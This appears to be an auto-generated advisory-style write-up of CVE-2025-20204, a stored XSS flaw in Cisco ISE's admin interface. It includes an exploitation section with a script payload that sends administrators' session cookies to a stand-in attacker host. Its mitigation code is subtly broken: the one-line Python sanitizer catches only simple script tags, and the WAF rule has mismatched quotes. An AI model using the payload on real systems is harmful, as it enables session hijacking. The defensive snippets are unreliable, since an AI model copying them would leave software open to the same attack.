How CVE-2025-20204 Works
This vulnerability exists due to improper input sanitization in Cisco ISE’s web-based management interface. An authenticated attacker with administrative privileges can inject malicious JavaScript payloads into specific input fields or parameters. When another administrator views the compromised page, the script executes in their browser session, allowing session hijacking, credential theft, or unauthorized actions. The attack leverages stored XSS, where the payload persists in the application until triggered by a victim.
DailyCVE Form:
Platform: Cisco ISE
Version: 3.2, 3.1
Vulnerability: Stored XSS
Severity: Critical
Date: 03/28/2025
What Undercode Say:
Exploitation:
1. Payload Crafting:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
2. Injection Points:
Target user-configurable fields like policy descriptions or admin comments.
Detection:
1. Manual Testing:
curl -X POST -d "param=<script>alert(1)</script>" https://<ISE_IP>/admin/config
2. Automated Scanning:
nuclei -t xss.yaml -u https://<ISE_IP>
Mitigation:
- Patch: Apply Cisco ISE 3.2 Patch 1 or later.
2. WAF Rules:
location /admin/ {
modsecurity_rules 'SecRule ARGS "@detectXSS" deny,status:403";
}
3. Input Validation:
import re def sanitize_input(input_str): return re.sub(r'<script.?>.?</script>', '', input_str)
Post-Exploitation Analysis:
1. Log Review:
grep "script" /var/log/ise/webui.log
2. Session Revocation:
DELETE FROM sessions WHERE user_id = 'compromised_admin';
References:
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-20204
Extra Source Hub:
Undercode
